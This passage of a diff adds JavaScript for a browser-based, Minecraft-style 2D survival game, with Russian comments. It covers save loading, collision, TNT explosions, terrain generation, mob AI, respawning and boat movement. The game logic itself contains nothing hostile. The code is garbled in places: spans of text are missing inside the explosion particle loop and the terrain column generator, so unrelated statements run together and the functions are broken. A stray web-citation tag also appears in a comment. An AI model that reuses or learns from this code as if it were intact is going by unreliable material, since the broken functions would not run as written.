сохранения, player HP:', inMemorySave.player?.hp); + resolve(inMemorySave); + return; + } + + console.log('Сохранение не найдено'); + resolve(null); + }); + } + + // Миграция с версии 1 на версию 2 + function migrateV1toV2(saveData){ + console.log('Миграция сохранения с версии 1 на версию 2...'); + + // Сохраняем seed из текущей игры (так как v1 его не хранил) + saveData.worldSeed = worldSeed; + + // Инициализируем массивы изменений + saveData.placedBlocks = []; + saveData.removedBlocks = []; + + // Для v1 нам нужно сравнить сгенерированные блоки с тем, что должно быть по seed + // Это сложно сделать без полной перегенерации, поэтому для v1 сохраняем только seed + // и при загрузке просто перегенерируем мир + + // Удаляем старые данные + delete saveData.generatedBlocks; + + saveData.version = 2; + console.log('Миграция завершена'); + } + + async function applySave(saveData){ + if(!saveData) return; + + console.log('=== applySave START ==='); + console.log('player HP before applySave:', player.hp); + console.log('saveData.player.hp:', saveData.player?.hp); + + // Миграция версий + if(saveData.version === 1){ + migrateV1toV2(saveData); + } + + // Восстанавливаем seed + if(saveData.worldSeed !== undefined){ + worldSeed = saveData.worldSeed; + } + + // Восстанавливаем игрока + if(saveData.player){ + player.x = saveData.player.x; + player.y = saveData.player.y; + player.hunger = saveData.player.hunger; + player.o2 = saveData.player.o2; + + // Обновляем spawnPoint на позицию из сохранения + spawnPoint.x = player.x; + spawnPoint.y = player.y; + + // Проверяем HP из сохранения - если <= 0, устанавливаем 100 + const savedHP = saveData.player.hp; + console.log('Saved HP from file:', savedHP); + if(savedHP <= 0){ + console.log('WARNING: Saved HP is <= 0, setting to 100!'); + player.hp = 100; + } else { + player.hp = savedHP; + } + console.log('player HP after restore:', player.hp); + console.log('spawnPoint обновлён из сохранения: x=', spawnPoint.x, 'y=', spawnPoint.y); + } else { + console.log('No player data in save, setting default HP: 100'); + player.hp = 100; + } + + console.log('=== applySave END ==='); + + // Восстанавливаем инвентарь + if(saveData.inventory){ + for(const key in saveData.inventory){ + inv[key] = saveData.inventory[key]; + } + } + + // Восстанавливаем время + if(saveData.time !== undefined){ + worldTime = saveData.time; + } + + // Восстанавливаем день/ночь + if(saveData.isNight !== undefined){ + isNightTime = saveData.isNight; + } + + // Перегенерируем мир по seed + regenerateVisibleChunks(); + + // Применяем изменения (только для v2) + if(saveData.version === 2){ + // Применяем блоки, установленные игроком + for(const block of saveData.placedBlocks){ + setBlock(block.gx, block.gy, block.t, true); + } + + // Применяем удалённые блоки + for(const block of saveData.removedBlocks){ + removeBlock(block.gx, block.gy); + } + + // Восстанавливаем массивы изменений + placedBlocks = saveData.placedBlocks || []; + removedBlocks = saveData.removedBlocks || []; + } + + rebuildHotbar(); + console.log('Игра загружена'); + } + + // Камера (двухосевая) + let camX=0, camY=0; + + // День/ночь + let worldTime=0; + const DAY_LEN=360; // замедлил смену дня/ночи в 3 раза + + // Облака + const clouds = Array.from({length:10}, ()=>({ + x: Math.random()*2000, + y: -200 - Math.random()*260, // выше экрана, потому что мир по Y теперь двигается + w: 80+Math.random()*120, + s: 12+Math.random()*20 + })); + + // Частицы (взрыв) + const parts = []; + function spawnExplosion(x,y, power){ + const n = Math.floor(16 + power*10); + for(let i=0;i 100){ + playSound('splash'); + } + } + + function resolveY(e){ + // Всегда пересчитываем grounded (не держим "липким") + e.grounded = false; + + const x1 = e.x + 2; + const x2 = e.x + e.w - 2; + + // Проверяем, находится ли игрок на лестнице (по центру) + const cx = e.x + e.w/2; + const cy = e.y + e.h/2; + const gx = Math.floor(cx / TILE); + const gy = Math.floor(cy / TILE); + const b = getBlock(gx, gy); + const onLadder = b && BLOCKS[b.t] && BLOCKS[b.t].climbable; + + // Если на лестнице - можно двигаться вверх/вниз + if(onLadder){ + e.grounded = true; + + // Если нажимаем прыжок на лестнице - поднимаемся + if(inp.j){ + e.vy = -200; + } + // Если нажимаем вниз - спускаемся + else if(inp.s){ + e.vy = 100; + } + // Иначе - остаёмся на месте (нет гравитации) + else { + e.vy = 0; + } + return; + } + + // Проверяем, можно ли запрыгнуть на лестницу рядом (слева или справа) + const leftGX = Math.floor((e.x - 4) / TILE); + const rightGX = Math.floor((e.x + e.w + 4) / TILE); + const playerGY = Math.floor((e.y + e.h/2) / TILE); + + const leftBlock = getBlock(leftGX, playerGY); + const rightBlock = getBlock(rightGX, playerGY); + const leftLadder = leftBlock && BLOCKS[leftBlock.t] && BLOCKS[leftBlock.t].climbable; + const rightLadder = rightBlock && BLOCKS[rightBlock.t] && BLOCKS[rightBlock.t].climbable; + + // Если рядом есть лестница и игрок прыгает - притягиваем к ней + if((leftLadder || rightLadder) && inp.j && e.vy < 0){ + // Перемещаем игрока к лестнице + if(leftLadder && e.x > leftGX * TILE + TILE/2){ + e.x = leftGX * TILE + TILE/2 - e.w/2; + } else if(rightLadder && e.x < rightGX * TILE + TILE/2){ + e.x = rightGX * TILE + TILE/2 - e.w/2; + } + e.grounded = true; + e.vy = -150; // меньший прыжок при запрыгивании на лестницу + return; + } + + // 1) Если движемся вниз ИЛИ стоим (vy >= 0) — проверяем опору под ногами + // Берём точку на 1px ниже стопы, чтобы не зависеть от ровного попадания в границу тайла. + if(e.vy >= 0){ + const probeY = e.y + e.h + 1; + const gy = Math.floor(probeY / TILE); + const gxA = Math.floor(x1 / TILE); + const gxB = Math.floor(x2 / TILE); + + if(isSolid(gxA, gy) || isSolid(gxB, gy)){ + e.y = gy * TILE - e.h; // прижимаем к полу + e.vy = 0; + e.grounded = true; + + // урон от падения — только игроку и только не в воде + if(e === player && !player.inWater){ + const fallTiles = (e.y - e.fallStartY) / TILE; + if(fallTiles > 6) { + const damage = calculateDamage((fallTiles - 6) * 10); + player.hp -= damage; + } + } + if(e === player) e.fallStartY = e.y; + } + } + + // 2) Проверка на возможность запрыгнуть на блок, если игрок рядом с ним + if(e.vy < 0 && e === player){ + const gy = Math.floor(e.y / TILE); + const gxA = Math.floor(x1 / TILE); + const gxB = Math.floor(x2 / TILE); + + // Проверяем, есть ли блок рядом с игроком + if((isSolid(gxA, gy) || isSolid(gxB, gy)) && !isSolid(gxA, gy - 1) && !isSolid(gxB, gy - 1)){ + e.y = (gy + 1) * TILE; + e.vy = 0; + e.grounded = true; + if(e === player) e.fallStartY = e.y; + console.log("Jumped onto block!"); + } + } + + // 2) Если движемся вверх — проверяем потолок + if(e.vy < 0){ + const gy = Math.floor(e.y / TILE); + const gxA = Math.floor(x1 / TILE); + const gxB = Math.floor(x2 / TILE); + if(isSolid(gxA, gy) || isSolid(gxB, gy)){ + e.y = (gy + 1) * TILE; + e.vy = 0; + } + } + } + + function resolveX(e){ + const y1 = e.y + 2; + const y2 = e.y + e.h - 2; + + // Проверяем, находимся ли мы на лестнице + const cx = e.x + e.w/2; + const cy = e.y + e.h/2; + const gx = Math.floor(cx / TILE); + const gy = Math.floor(cy / TILE); + const b = getBlock(gx, gy); + const onLadder = b && BLOCKS[b.t] && BLOCKS[b.t].climbable; + + if(e.vx > 0){ + const gx = Math.floor((e.x + e.w)/TILE); + const gyA = Math.floor(y1/TILE); + const gyB = Math.floor(y2/TILE); + const solidA = isSolid(gx, gyA); + const solidB = isSolid(gx, gyB); + + if(solidA || solidB){ + e.x = gx*TILE - e.w; + e.vx = 0; + } + } else if(e.vx < 0){ + const gx = Math.floor(e.x/TILE); + const gyA = Math.floor(y1/TILE); + const gyB = Math.floor(y2/TILE); + const solidA = isSolid(gx, gyA); + const solidB = isSolid(gx, gyB); + + if(solidA || solidB){ + e.x = (gx+1)*TILE; + e.vx = 0; + } + } + } + + // TNT логика: цепь + усиление + const activeTNT = new Set(); // хранит key + function activateTNT(b, fuse=3.2){ + if(b.dead) return; + if(b.active) return; + b.active=true; + b.fuse=fuse; + activeTNT.add(k(b.gx,b.gy)); + } + + function explodeAt(gx,gy){ + const center = getBlock(gx,gy); + if(!center) return; + + // усиление: считаем сколько TNT рядом (в радиусе 2) и активируем их «почти сразу» + let bonus = 0; + for(let x=gx-2; x<=gx+2; x++){ + for(let y=gy-2; y<=gy+2; y++){ + const b = getBlock(x,y); + if(b && !b.dead && b.t==='tnt' && !(x===gx && y===gy)){ + bonus += 0.8; + activateTNT(b, 0.12); // цепь + } + } + } + + const power = 1 + bonus; // условная мощность + const radius = 3.2 + bonus*0.7; // радиус разрушения в тайлах + const dmgR = 150 + bonus*60; // радиус урона в пикселях + + removeBlock(gx,gy); + activeTNT.delete(k(gx,gy)); + playSound('explode1'); // Звук взрыва + spawnExplosion(gx*TILE + TILE/2, gy*TILE + TILE/2, power); + + for(let x=Math.floor(gx-radius); x<=Math.ceil(gx+radius); x++){ + for(let y=Math.floor(gy-radius); y<=Math.ceil(gy+radius); y++){ + const d = Math.hypot(x-gx, y-gy); + if(d > radius) continue; + const b = getBlock(x,y); + if(!b || b.dead) continue; + if(BLOCKS[b.t].fluid) continue; + if(BLOCKS[b.t].unbreakable) continue; + if(b.t==='tnt') { activateTNT(b, 0.12); continue; } + removeBlock(x,y); + if(inv[b.t] !== undefined && Math.random()<0.20) inv[b.t]++; // немного дропа + } + } + rebuildHotbar(); + + // урон + const hurt = (e)=>{ + const dx = (e.x+e.w/2) - (gx*TILE+TILE/2); + const dy = (e.y+e.h/2) - (gy*TILE+TILE/2); + const dist = Math.hypot(dx,dy); + if(dist < dmgR){ + const dmg = (dmgR - dist) * 0.06 * power; + if(e === player) { + const actualDamage = calculateDamage(dmg); + player.hp -= actualDamage; + } else { + e.hp -= dmg; + } + e.vx += (dx/dist || 0) * 600; + e.vy -= 320; + } + }; + hurt(player); + mobs.forEach(hurt); + } + + // Взаимодействие мышь/тап + const mouse = { x:null, y:null }; + canvas.addEventListener('pointermove', (e)=>{ + const r = canvas.getBoundingClientRect(); + mouse.x = e.clientX - r.left; + mouse.y = e.clientY - r.top; + }); + + canvas.addEventListener('pointerdown', (e)=>{ + if(craftOpen) return; + if(player.hp<=0) return; + + const r = canvas.getBoundingClientRect(); + const sx = e.clientX - r.left; + const sy = e.clientY - r.top; + + const wx = sx + camX; + const wy = sy + camY; + + const gx = Math.floor(wx / TILE); + const gy = Math.floor(wy / TILE); + + // Пробуждение: клик по любой кровати когда спишь + const b = getBlock(gx,gy); + if(player.sleeping && b && b.t==='bed'){ + player.sleeping = false; + return; + } + + if(player.sleeping) return; // Нельзя взаимодействовать во время сна + + // клик по мобу (в режиме mine) + if(mode()==='mine'){ + for(let i=mobs.length-1;i>=0;i--){ + const m = mobs[i]; + if(wx>=m.x && wx<=m.x+m.w && wy>=m.y && wy<=m.y+m.h){ + m.hp -= 1; + m.vx += (m.x - player.x) * 2; + m.vy -= 200; + playSound('attack'); // Звук атаки игрока + if(m.hp<=0){ + // дроп еды + if(m.kind === 'chicken') playSound('hurt_chicken'); // Звук при убийстве курицы + inv.meat += (m.kind==='chicken' ? 1 : 2); + mobs.splice(i,1); + rebuildHotbar(); + } + return; + } + } + } + + // еда (предмет) + if(ITEMS[selected] && inv[selected]>0){ + const it = ITEMS[selected]; + if(player.hp < 100 || player.hunger < 100){ + playSound('eat1'); // Звук употребления еды + player.hunger = Math.min(100, player.hunger + it.food); + player.hp = Math.min(100, player.hp + 15); + inv[selected]--; + rebuildHotbar(); + } + return; + } + + // жарка на костре: выбран meat + клик по campfire + if(b && b.t==='campfire' && selected==='meat' && inv.meat>0){ + playSound('fire'); // Звук при жарке на костре + inv.meat--; inv.cooked++; + rebuildHotbar(); + return; + } + + // Сон на кровати: клик по bed + if(b && b.t==='bed' && isNight()){ + player.sleeping = true; + saveGame(); // Сохраняем при отходе ко сну + return; + } + + if(mode()==='mine'){ + if(!b) return; + if(BLOCKS[b.t].fluid || BLOCKS[b.t].decor) return; + + if(b.t==='tnt'){ activateTNT(b, 3.2); return; } // не взрывается сразу + + const removed = removeBlock(gx,gy); + if(removed){ + inv[removed.t] = (inv[removed.t]||0) + 1; + + // Отправляем изменение блока на сервер + sendBlockChange(gx, gy, removed.t, 'remove'); + + // Звуки при добыче блоков + if(removed.t === 'glass') playSound('glass1'); + else if(removed.t === 'sand') playSound('sand1'); + else if(removed.t === 'snow') playSound('snow1'); + else if(removed.t === 'stone' || removed.t.endsWith('_ore')) playSound('stone1'); + else if(removed.t === 'wood') playSound('wood1'); + else playSound('cloth1'); + + rebuildHotbar(); + } + return; + } + + if(mode()==='build'){ + if(inv[selected] <= 0) return; + if(!BLOCKS[selected]) return; + if(b) return; // занято + + // Проверяем, ставим ли лодку + if(selected === 'boat'){ + // Лодку можно ставить только на воду + const waterBelow = getBlock(gx, gy+1); + if(!waterBelow || waterBelow.t !== 'water'){ + return; + } + + // Создаём лодку + boat.x = gx * TILE; + boat.y = gy * TILE; + boat.vx = 0; + boat.vy = 0; + boat.active = true; + boat.inWater = true; + + // Сажаем игрока в лодку + player.inBoat = true; + player.x = boat.x; + player.y = boat.y; + player.vx = 0; + player.vy = 0; + + playSound('splash'); + inv[selected]--; + rebuildHotbar(); + return; + } + + // запрет ставить в игрока + const bx = gx*TILE, by = gy*TILE; + const overlap = !(bx >= player.x+player.w || bx+TILE <= player.x || by >= player.y+player.h || by+TILE <= player.y); + if(overlap) return; + + setBlock(gx,gy,selected, true); // true = блок установлен игроком + inv[selected]--; + + // Отправляем изменение блока на сервер + sendBlockChange(gx, gy, selected, 'set'); + + // Звук при строительстве + if(selected === 'stone' || selected === 'brick') playSound('stone_build'); + else if(selected === 'wood' || selected === 'planks') playSound('wood_build'); + else if(selected === 'glass') playSound('glass1'); + else if(selected === 'sand') playSound('sand1'); + else if(selected === 'snow') playSound('snow1'); + else if(selected === 'dirt' || selected === 'grass') playSound('cloth1'); + + rebuildHotbar(); + return; + } + }); + + // Генерация (по X, на всю глубину до bedrock) + const generated = new Set(); // gx already generated + function surfaceGyAt(gx){ + // базовая поверхность выше уровня воды с вариациями + "горы" + // Используем seed для детерминированной генерации + // Увеличили амплитуду и добавили больше частот для разнообразия + const n1 = Math.sin(gx*0.025 + worldSeed*0.001)*8; // крупные горы + const n2 = Math.sin(gx*0.012 + worldSeed*0.002)*12; // средние горы + const n3 = Math.sin(gx*0.006 + worldSeed*0.003)*6; // мелкие холмы + const n4 = Math.sin(gx*0.045 + worldSeed*0.004)*4; // детали + const n5 = Math.cos(gx*0.018 + worldSeed*0.005)*5; // дополнительные вариации + const h = Math.floor(SEA_GY - 8 + n1 + n2 + n3 + n4 + n5); // чем меньше gy - тем выше + return h; + } + + function genColumn(gx){ + if(generated.has(gx)) return; + generated.add(gx); + + const sgy = surfaceGyAt(gx); + + // вода (если поверхность ниже уровня моря => sgy > SEA_GY) + if(sgy > SEA_GY){ + for(let gy=SEA_GY; gy SEA_GY && gy === sgy+1 && seededRandom(gx, gy) < 0.25) t='clay'; + if(gy > sgy+6 && seededRandom(gx, gy) < 0.07) t='gravel'; + + // руды: чем глубже, тем интереснее + const depth = gy - sgy; + const r = seededRandom(gx, gy); + if(t==='stone'){ + if(r < 0.06) t='coal'; + else if(r < 0.10) t='copper_ore'; + else if(r < 0.13) t='iron_ore'; + else if(depth > 40 && r < 0.145) t='gold_ore'; + else if(depth > 70 && r < 0.152) t='diamond_ore'; + } + + setBlock(gx,gy,t); + } + + // Деревья и цветы (только на траве, и не в воде) + const top = getBlock(gx, sgy); + if(top && top.t==='grass'){ + if(seededRandom(gx, sgy-1) < 0.10){ + setBlock(gx, sgy-1,'flower'); + } + if(seededRandom(gx, sgy-2) < 0.12){ + // простое дерево + setBlock(gx, sgy-1, 'wood'); + setBlock(gx, sgy-2, 'wood'); + setBlock(gx, sgy-3, 'leaves'); + setBlock(gx-1, sgy-3,'leaves'); + setBlock(gx+1, sgy-3,'leaves'); + } + } + } + + // Перегенерация видимых чанков (используется при загрузке сохранения) + function regenerateVisibleChunks(){ + const gx0 = Math.floor(camX/TILE); + for(let gx=gx0-GEN_MARGIN_X; gx<=gx0+GEN_MARGIN_X; gx++){ + // Принудительно перегенерируем колонну + generated.delete(gx); + genColumn(gx); + } + } + + function ensureGenAroundCamera(){ + const gx0 = Math.floor(camX/TILE); + for(let gx=gx0-GEN_MARGIN_X; gx<=gx0+GEN_MARGIN_X; gx++){ + genColumn(gx); + } + } + + // Лут с дерева/листвы: дерево -> wood; листья -> leaves + // (уже в mine добавляется inv[type] автоматически) + + // Рисование костра: огонь поверх текстуры + function drawFire(wx,wy,now){ + const baseX = wx; + const baseY = wy; + const flick = 6 + (Math.sin(now/90)+1)*4; + ctx.fillStyle = 'rgba(255,140,0,0.85)'; + ctx.beginPath(); + ctx.moveTo(baseX+10, baseY+30); + ctx.lineTo(baseX+20, baseY+30-flick); + ctx.lineTo(baseX+30, baseY+30); + ctx.fill(); + + ctx.fillStyle = 'rgba(255,230,150,0.75)'; + ctx.beginPath(); + ctx.moveTo(baseX+14, baseY+30); + ctx.lineTo(baseX+20, baseY+30-(flick*0.7)); + ctx.lineTo(baseX+26, baseY+30); + ctx.fill(); + } + + // Моб AI + function mobAI(m, dt){ + updateWaterFlag(m); + + if(m.kind==='zombie'){ + // активность ночью + const night = isNight(); + if(!night){ m.hp=0; return; } + const dir = Math.sign((player.x) - m.x); + m.vx = dir * m.speed; + if(m.inWater && Math.random()<0.06) m.vy = -260; + // атака + if(Math.abs((m.x+ m.w/2) - (player.x+player.w/2)) < 28 && + Math.abs((m.y+ m.h/2) - (player.y+player.h/2)) < 40 && + player.invuln <= 0){ + const damage = calculateDamage(15); + player.hp -= damage; + player.invuln = 0.8; + player.vx += dir*420; + player.vy -= 260; + playSound('hit1'); // Звук при атаке зомби + } + } else if(m.kind==='creeper'){ + // активность ночью + const night = isNight(); + if(!night){ m.hp=0; return; } + const dir = Math.sign((player.x) - m.x); + const dist = Math.hypot((player.x+player.w/2) - (m.x+m.w/2), (player.y+player.h/2) - (m.y+m.h/2)); + + // Движение к игроку + m.vx = dir * m.speed; + if(m.inWater && Math.random()<0.06) m.vy = -260; + + // Взрыв если близко к игроку + if(dist < 60){ + m.fuse -= dt; + if(m.fuse <= 0){ + explodeAt(Math.floor((m.x+m.w/2)/TILE), Math.floor((m.y+m.h/2)/TILE)); + m.hp = 0; + } + } else { + // Поджигаем если очень близко + if(dist < 40){ + m.fuse = 0.5; // Быстрый взрыв + } + } + } else if(m.kind==='skeleton'){ + // активность ночью + const night = isNight(); + if(!night){ m.hp=0; return; } + const dir = Math.sign((player.x) - m.x); + const dist = Math.hypot((player.x+player.w/2) - (m.x+m.w/2), (player.y+player.h/2) - (m.y+m.h/2)); + + // Движение к игроку + m.vx = dir * m.speed; + if(m.inWater && Math.random()<0.06) m.vy = -260; + + // Стрельба стрелами с проверкой препятствий + m.shootCooldown -= dt; + if(dist < 200 && m.shootCooldown <= 0){ + m.shootCooldown = 1.5; + // Создаём стрелу (упрощённо - просто урон) + const dx = (player.x+player.w/2) - (m.x+m.w/2); + const dy = (player.y+player.h/2) - (m.y+m.h/2); + const angle = Math.atan2(dy, dx); + + // Проверяем препятствия (до 20 блоков для более точной проверки) + let blocked = false; + const checkSteps = 20; + const stepSize = dist / checkSteps; + for(let i = 1; i <= checkSteps; i++){ + const checkX = m.x + m.w/2 + Math.cos(angle) * stepSize * i; + const checkY = m.y + m.h/2 + Math.sin(angle) * stepSize * i; + const checkGX = Math.floor(checkX / TILE); + const checkGY = Math.floor(checkY / TILE); + const block = getBlock(checkGX, checkGY); + // Любой блок (кроме воздуха) является укрытием + if(block && !block.dead && block.t !== 'air'){ + blocked = true; + break; + } + } + + // Урон игроку если попали и нет препятствий + if(!blocked && dist < 150 && player.invuln <= 0){ + const damage = calculateDamage(8); + player.hp -= damage; + player.invuln = 0.5; + player.vx += Math.cos(angle) * 300; + player.vy -= 200; + playSound('hit1'); + } + } + } else { + // животные + m.aiT -= dt; + if(m.aiT <= 0){ + m.aiT = 1.8 + Math.random()*2.5; + m.dir = Math.random()<0.5 ? -1 : 1; + if(Math.random()<0.25) m.dir = 0; + } + m.vx = m.dir * (m.kind==='chicken' ? 55 : 40); + if(m.inWater) m.vy = -120; + } + + // физика моба + const g = m.inWater ? GRAV_WATER : GRAV; + m.vy += g*dt; + + m.y += m.vy*dt; m.grounded=false; resolveY(m); + m.x += m.vx*dt; resolveX(m); + } + + function isNight(){ + // Автоматический цикл: ночь когда worldTime > 0.5 + return worldTime > 0.5; + } + + // Respawn + document.getElementById('respawnBtn').onclick = async () => { + playSound('click'); // Звук клика по кнопке + + console.log('=== RESPAWN CLICKED ==='); + console.log('isMultiplayer:', isMultiplayer); + console.log('otherPlayers.size:', otherPlayers.size); + console.log('player.hp before respawn:', player.hp); + + // В мультиплеере не загружаем сохранение, а возрождаемся в начальной точке + if (isMultiplayer && otherPlayers.size > 0) { + console.log('Мультиплеер режим - возрождение в начальной точке'); + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.vx = player.vy = 0; + player.invuln = 0; + player.x = spawnPoint.x; + player.y = spawnPoint.y; + player.fallStartY = player.y; + console.log('Возрождение в начальной точке, HP:', player.hp); + } else { + console.log('Одиночный режим - загружаем последнее сохранение'); + // Одиночный режим - загружаем последнее сохранение + const loadedSave = await loadGame(); + if(loadedSave){ + await applySave(loadedSave); + console.log('Загружено последнее сохранение после смерти, final HP:', player.hp); + } else { + // Если сохранения нет, возрождаемся в начальной точке + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.vx = player.vy = 0; + player.invuln = 0; + player.x = spawnPoint.x; + player.y = spawnPoint.y; + player.fallStartY = player.y; + console.log('Возрождение в начальной точке, HP:', player.hp); + } + } + + console.log('player.hp after respawn logic:', player.hp); + console.log('Hiding death screen...'); + deathEl.style.display='none'; + console.log('=== RESPAWN END ==='); + }; + + // Resize + function resize(){ + W = gameEl.clientWidth; + H = gameEl.clientHeight; + canvas.width = W*dpr; + canvas.height = H*dpr; + lightC.width = W*dpr; + lightC.height = H*dpr; + ctx.setTransform(dpr,0,0,dpr,0,0); + } + window.addEventListener('resize', resize); + + // init + resize(); + rebuildHotbar(); + + // Инициализируем и загружаем сохранение + initDB().then(async () => { + // Пытаемся загрузить сохранённую игру + const loadedSave = await loadGame(); + if(loadedSave){ + await applySave(loadedSave); + console.log('Загружено сохранение, HP:', player.hp); + + // Проверяем HP после загрузки - если <= 0, возрождаемся + if (player.hp <= 0) { + console.log('WARNING: HP <= 0 после загрузки, возрождаемся'); + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.x = spawnPoint.x; + player.y = spawnPoint.y; + player.vx = player.vy = 0; + player.invuln = 0; + player.fallStartY = player.y; + } + } else { + console.log('Сохранение не найдено, начинаем новую игру'); + + // Инициализируем игрока для новой игры + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.vx = player.vy = 0; + player.invuln = 0; + + // старт — на поверхности (ровно на 1 тайл выше поверхности) + const startGX = 6; + genColumn(startGX); + const surfaceY = surfaceGyAt(startGX); + player.y = (surfaceY - 1) * TILE; + player.x = startGX * TILE; + player.fallStartY = player.y; + + // Обновляем spawnPoint, чтобы возрождение было на поверхности + spawnPoint.x = player.x; + spawnPoint.y = player.y; + + console.log('Новая игра: startGX=', startGX, 'surfaceY=', surfaceY, 'player.y=', player.y, 'player.hp=', player.hp); + console.log('spawnPoint обновлён: x=', spawnPoint.x, 'y=', spawnPoint.y); + + // Генерируем карту вокруг стартовой позиции при инициализации + for(let gx = startGX - 50; gx <= startGX + 50; gx++){ + genColumn(gx); + } + } + + // Автосейв при скрытии страницы (защита от потери прогресса) + document.addEventListener('visibilitychange', () => { + if(document.hidden){ + saveGame(); + } + }); + + // Автосейв перед закрытием страницы (защита от потери прогресса) + window.addEventListener('beforeunload', () => { + saveGame(); + }); + }).catch(err => { + console.error('Ошибка инициализации:', err); + // При ошибке начинаем новую игру + const startGX = 6; + genColumn(startGX); + player.y = (surfaceGyAt(startGX)-1)*TILE; + player.fallStartY = player.y; + + for(let gx = startGX - 50; gx <= startGX + 50; gx++){ + genColumn(gx); + } + }); + + // main loop + let last = performance.now(); + let prevJump = false; + function loop(now){ + const dt = Math.min(0.05, (now-last)/1000); + last = now; + + const jumpPressed = inp.j && !prevJump; + prevJump = inp.j; + + // Ускорение времени во время сна + if(player.sleeping && isNight()){ + worldTime += dt * 8 / DAY_LEN; // В 8 раз быстрее + // Восстанавливаем здоровье во время сна + player.hp = Math.min(100, player.hp + dt * 20); + // Автоматическое пробуждение когда наступает день + if(!isNight()){ + player.sleeping = false; + } + } else { + worldTime += dt / DAY_LEN; + } + if(worldTime >= 1) worldTime -= 1; + + // камера следует за игроком по X/Y + camX = Math.floor((player.x + player.w/2) - W/2); + camY = Math.floor((player.y + player.h/2) - H/2); + + ensureGenAroundCamera(); + + // clouds parallax + for(const c of clouds){ + c.x -= c.s * dt; + if(c.x + c.w < camX - 400) c.x = camX + W + Math.random()*700; + } + + // player + updateWaterFlag(player); + + // кислород/утопление: тратим O2 только если голова под водой, иначе восстанавливаем [web:223] + if(player.headInWater){ + player.o2 = Math.max(0, player.o2 - 6*dt); // замедлил в 3.7 раза + if(player.o2 === 0){ + const damage = calculateDamage(4*dt); + player.hp -= damage; + } + } else { + player.o2 = Math.min(100, player.o2 + 10*dt); // замедлил восстановление в 4 раза + } + + // голод убывает, но HP не отнимает (как просили) + player.hunger = Math.max(0, player.hunger - dt*0.2); // замедлил в 4 раза + + // Игрок не может двигаться во время сна + if(player.sleeping){ + player.vx = 0; + player.vy = 0; + } else { + const dir = (inp.r?1:0) - (inp.l?1:0); + if(dir) player.vx = dir*MOVE; + else player.vx *= 0.82; + } + + // Звук шагов при движении по земле + if(player.grounded && !player.inWater && Math.abs(player.vx) > 50){ + const stepInterval = 0.35; // Интервал между шагами в секундах + if(now/1000 - player.lastStepTime > stepInterval){ + playSound('step'); + player.lastStepTime = now/1000; + } + } + + // прыжок/плавание (новая логика) + if(player.inBoat){ + // Игрок в лодке - лодка следует за игроком + const dir = (inp.r?1:0) - (inp.l?1:0); + if(dir) boat.vx = dir * MOVE; + else boat.vx *= 0.95; + + // Лодка плавает на воде + boat.vy = 0; + + // Игрок следует за лодкой (сидит внутри неё) + player.x = boat.x + 2; // Игрок по центру лодки + player.y = boat.y - 4; // Игрок выше лодки (сидит внутри) + player.vx = boat.vx; + player.vy = boat.vy; + player.grounded = true; + player.inWater = false; // Игрок не в воде когда в лодке + + // Прыжок из лодки (высадка) + if(jumpPressed){ + // Возвращаем лодку в инвентарь + inv.boat = (inv.boat || 0) + 1; + + player.inBoat = false; + boat.active = false; + player.y += TILE; // Прыгаем из лодки + player.vy = -JUMP * 0.5; + playSound('splash'); + } + + } else if(player.inWater){ + // сопротивление в воде + player.vx *= 0.90; + player.vy *= 0.92; + + // Если не нажимаем прыжок - тонем (гравитация в воде) + if(!jumpPressed && !inp.j){ + // Применяем гравитацию в воде - игрок тонет + player.vy += GRAV_WATER * dt; + } else { + // Если нажимаем прыжок - поднимаемся на поверхность + if(jumpPressed){ + player.vy = Math.min(player.vy, -520); // рывок вверх + } else if(inp.j){ + // если держим — мягкое всплытие + player.vy = Math.min(player.vy, -260); + } + } + + } else { + // обычный прыжок (только по нажатию) + if(jumpPressed && player.grounded && !player.sleeping){ + player.vy = -JUMP; + player.grounded = false; + player.fallStartY = player.y; + } + } + + // Гравитация применяется только вне воды и вне лодки + if(!player.inWater && !player.inBoat){ + player.vy += GRAV*dt; + } + + // Обновляем позицию лодки + if(boat.active){ + boat.x += boat.vx * dt; + boat.y += boat.vy * dt; + + // Лодка не выходит за пределы воды + const boatGX = Math.floor(boat.x / TILE); + const boatGY = Math.floor(boat.y / TILE); + const below = getBlock(boatGX, boatGY + 1); + + if(!below || below.t !== 'water'){ + // Если лодка вышла из воды - выкидываем игрока + inv.boat = (inv.boat || 0) + 1; + player.inBoat = false; + boat.active = false; + player.y += TILE; + player.vy = -200; + playSound('splash'); + } + } + + // Проверяем, не доплыл ли игрок из лодки + if(player.inBoat && !boat.active){ + inv.boat = (inv.boat || 0) + 1; + player.inBoat = false; + player.y += TILE; + player.vy = -200; + playSound('splash'); + } + + player.y += player.vy*dt; + resolveY(player); + player.x += player.vx*dt; resolveX(player); + + // Отправляем позицию на сервер (мультиплеер) + sendPlayerPosition(); + + // Обновляем физику воды + updateWaterPhysics(dt); + + player.invuln = Math.max(0, player.invuln - dt); + + // TNT tick + for(const key of Array.from(activeTNT)){ + const b = grid.get(key); + if(!b || b.dead){ activeTNT.delete(key); continue; } + b.fuse -= dt; + if(b.fuse <= 0){ + explodeAt(b.gx,b.gy); + } + } + + // mobs spawn (с обеих сторон камеры) + spawnT += dt; + if(spawnT > 1.8 && mobs.length < 30){ + spawnT = 0; + + // Выбираем сторону спавна (левая или правая) + const spawnLeft = Math.random() < 0.5; + const gx = spawnLeft + ? Math.floor((camX - 200)/TILE) + : Math.floor((camX + W + 200)/TILE); + + genColumn(gx); + const sgy = surfaceGyAt(gx); + const wx = gx*TILE + 4; + const wy = (sgy-2)*TILE; + + // не спавнить в воде + const top = getBlock(gx, sgy); + if(top && top.t==='water') { + // skip + } else { + if(isNight()){ + // Ночью спавним больше враждебных мобов + const rand = Math.random(); + if(rand < 0.35){ + mobs.push(new Zombie(wx, wy)); + } else if(rand < 0.55){ + mobs.push(new Creeper(wx, wy)); + } else { + mobs.push(new Skeleton(wx, wy)); + } + } else { + // Днём только животные + mobs.push(Math.random()<0.5 ? new Pig(wx, wy) : new Chicken(wx, wy)); + } + } + } + + // mobs update + for(let i=mobs.length-1;i>=0;i--){ + const m = mobs[i]; + mobAI(m, dt); + if(m.hp<=0) mobs.splice(i,1); + } + + // particles + for(let i=parts.length-1;i>=0;i--){ + const p = parts[i]; + p.t -= dt; + p.x += p.vx*dt; + p.y += p.vy*dt; + p.vy += GRAV*dt; + if(p.t <= 0) parts.splice(i,1); + } + + // death + if(player.hp <= 0){ + deathEl.style.display='flex'; + } else if(deathEl.style.display === 'flex') { + // Если HP > 0 но экран смерти 